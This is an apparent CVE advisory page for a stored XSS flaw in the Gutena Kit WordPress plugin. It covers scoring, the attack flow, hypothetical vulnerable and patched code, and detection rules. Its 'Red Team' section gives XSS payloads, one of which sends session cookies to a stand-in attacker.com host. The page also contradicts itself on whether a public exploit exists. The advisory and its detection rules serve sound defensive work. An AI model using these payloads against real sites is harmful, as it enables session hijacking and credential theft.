☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Iqbal logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-31805

CVE-2025-31805 Cross-Site Scripting in Saad iqbal
📅 PUBLISHED: 2025-04-01 15:16 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.88%
👁️
0.88% probability
22.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-31805 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Gutena Kit – Gutenberg Blocks and Templates (slug: gutena-kit), developed by Saad Iqbal. The vulnerability exists in versions up to and including 2.0.7. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript into web pages via improperly neutralized input. When an administrator or other user views the compromised page, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), and no public exploit or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or via Composer/WPackagist are at risk. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem, which is a common target for supply chain attacks. Administrators should verify the integrity of their plugin files and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 6.5 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L) – requires contributor-level access
  • User Interaction: Required (UI:R) – victim must view the compromised page
  • Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: Low (A:L)

Threat Level: Medium. The vulnerability requires authentication and user interaction, but the impact is significant due to the stored nature of the XSS, which can affect multiple users and persist across sessions.

Deep Dive & Mechanics

The vulnerability resides in the gutena-kit plugin, which provides custom Gutenberg blocks and templates for WordPress. The plugin fails to properly sanitize user-supplied input before storing it in the database and later rendering it in the WordPress admin or frontend. Specifically, input fields within custom blocks (e.g., block attributes, template names, or custom CSS/JS fields) are not neutralized, allowing an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

  1. An attacker with contributor-level access creates or edits a post/page using a vulnerable Gutena Kit block.
  2. The attacker injects a malicious payload into a block attribute (e.g., a text field, URL, or custom CSS field).
  3. The plugin stores the payload in the WordPress database without proper sanitization.
  4. When an administrator or other user views the post/page (or the block preview in the editor), the payload executes in their browser.
  5. The attacker can then steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Root Cause: The plugin uses echo or wp_kses_post incorrectly, or fails to use esc_html, esc_attr, or wp_kses with appropriate allowed HTML tags. The input is not validated against a whitelist of safe values.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (hypothetical):

// In a block render callback
function gutena_kit_render_block($attributes) {
    $title = $attributes['title'];
    echo "<h2>" . $title . "</h2>"; // No sanitization
}

Patched Code (hypothetical):

function gutena_kit_render_block($attributes) {
    $title = esc_html($attributes['title']); // Sanitize output
    echo "<h2>" . $title . "</h2>";
}

Key Differences:

  • The vulnerable code directly outputs user input without escaping.
  • The patched code uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress instance with Gutena Kit <= 2.0.7 installed and activated.
  • Contributor-level account or higher.

Exploitation Steps:

  1. Log in as a contributor.
  2. Create a new post or page.
  3. Add a Gutena Kit block (e.g., "Heading" or "Custom HTML").
  4. In the block's text field, inject the following payload:
    <img src=x onerror=alert('XSS')>
    
    Or for cookie theft:
    <script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>
    
  5. Save/publish the post.
  6. Wait for an administrator to view the post or preview the block in the editor.

Note: No public exploit code is available. The above is a generic XSS payload.

Blue Team

Detection Steps:

  1. Monitor WordPress admin logs for unusual block edits by low-privilege users.
  2. Scan the database for suspicious HTML/JavaScript in wp_postmeta and wp_posts tables:
    SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script%' OR meta_value LIKE '%onerror%';
    
  3. Use a web application firewall (WAF) to block common XSS patterns in POST requests to /wp-admin/admin-ajax.php or /wp-json/.

Lab Setup:

  • Install WordPress 6.x on a local server (e.g., XAMPP, Docker).
  • Install Gutena Kit plugin version 2.0.7.
  • Create a contributor user and an admin user.
  • Use a browser with developer tools to inspect network requests and DOM.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256): (None available – plugin files may be modified)
  • Suspicious Database Entries:
    • wp_postmeta rows containing <script>, onerror, onload, or javascript: in meta_value.
    • wp_posts rows with post_content containing similar patterns.
  • Network Traffic:
    • Outbound requests to attacker-controlled domains from the WordPress admin.
    • Unusual POST requests to /wp-admin/admin-ajax.php with action=gutena_kit_save_block or similar.
  • Logs:
    • WordPress debug log entries showing unexpected output in block rendering.
    • Web server access logs with %3Cscript%3E or %3Cimg%20src%3Dx%20onerror%3D in the request URI.

Detection Engineering

YARA Rule

rule CVE_2025_31805_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Gutena Kit plugin database entries"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2025-31805"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:\s*/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-31805 - Stored XSS in Gutena Kit Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS attempts in WordPress Gutena Kit plugin
author: Valters IT
date: 2025/04/17
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/wp-admin/admin-ajax.php'
            - '/wp-json/gutena-kit/v1/*'
        cs-uri-query:
            - '*<script*'
            - '*onerror*'
            - '*onload*'
            - '*javascript:*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in block content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-31805 - Stored XSS Payload in Gutena Kit"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=gutena_kit_save_block"; http_client_body; pcre:"/(<script|<img[^>]+onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Restrict contributor-level access to only trusted users.
  3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
  4. Audit existing content for injected scripts using the YARA rule above.

Long-Term Fix:

  • The vendor (Saad Iqbal) must release a patched version (>= 2.0.8) that properly sanitizes all user inputs using esc_html(), esc_attr(), or wp_kses() with a strict whitelist.
  • Users should update to the latest version once available.

Workaround:

  • Add the following code to the theme's functions.php to sanitize block attributes (may break functionality):
    add_filter('gutena_kit_block_attributes', function($attributes) {
        foreach ($attributes as $key => $value) {
            if (is_string($value)) {
                $attributes[$key] = esc_html($value);
            }
        }
        return $attributes;
    });
    

Valters IT
Securing Digital Ecosystems

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-31805/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.